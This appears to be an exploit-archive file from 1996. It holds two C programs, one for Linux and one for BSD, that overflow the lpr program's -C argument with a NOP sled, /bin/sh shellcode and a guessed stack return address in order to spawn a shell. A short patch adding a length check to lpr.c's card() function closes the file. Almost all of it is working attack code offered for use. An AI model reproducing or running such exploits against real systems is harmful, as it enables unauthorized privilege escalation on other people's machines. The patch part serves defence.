477bcbdcc0
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119 lines
3.1 KiB
C
Executable file
119 lines
3.1 KiB
C
Executable file
-------------------------------------- linux_lpr_exploit.c ----------
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#include
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#include
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#include
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#define DEFAULT_OFFSET 50
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#define BUFFER_SIZE 1023
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long get_esp(void)
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{
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__asm__("movl %esp,%eax\n");
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}
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void main()
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{
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char *buff = NULL;
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unsigned long *addr_ptr = NULL;
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char *ptr = NULL;
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u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
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"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
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"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
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"\xd7\xff\xff\xff/bin/sh";
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int i;
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buff = malloc(4096);
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if(!buff)
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{
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printf("can't allocate memory\n");
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exit(0);
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}
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ptr = buff;
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memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
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ptr += BUFFER_SIZE-strlen(execshell);
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for(i=0;i < strlen(execshell);i++)
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*(ptr++) = execshell[i];
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addr_ptr = (long *)ptr;
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for(i=0;i<2;i++)
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*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
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ptr = (char *)addr_ptr;
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*ptr = 0;
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execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
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}
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------------------------------------------- bsd_lpr_exploit.c ------
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#include
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#include
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#include
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#define DEFAULT_OFFSET 50
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#define BUFFER_SIZE 1023
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long get_esp(void)
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{
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__asm__("movl %esp,%eax\n");
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}
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void main()
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{
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char *buff = NULL;
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unsigned long *addr_ptr = NULL;
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char *ptr = NULL;
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char execshell[] =
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"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
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"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
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"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
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"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
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int i;
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buff = malloc(4096);
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if(!buff)
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{
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printf("can't allocate memory\n");
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exit(0);
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}
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ptr = buff;
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memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
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ptr += BUFFER_SIZE-strlen(execshell);
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for(i=0;i < strlen(execshell);i++)
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*(ptr++) = execshell[i];
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addr_ptr = (long *)ptr;
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for(i=0;i<2;i++)
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*(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
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ptr = (char *)addr_ptr;
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*ptr = 0;
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execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
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}
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--------------------------------------------------------------------------
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Here is a little patch -- see file lpr.c, function card():
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("!!" marks added lines)
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--------------------------------------------------------------------------
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static void card(c, p2)
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register int c;
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register char *p2;
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{
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char buf[BUFSIZ];
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register char *p1 = buf;
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register int len = 2;
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if (strlen(p2) > BUFSIZ-2) /* !! */
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{ /* !! */
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printf("No, thanks...\n"); /* !! */
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exit(1); /* !! */
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}
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*p1++ = c;
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while ((c = *p2++) != '\0') {
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*p1++ = (c == '\n') ? ' ' : c;
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len++;
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}
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*p1++ = '\n';
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write(tfd, buf, len);
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}
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// milw0rm.com [1996-10-25]
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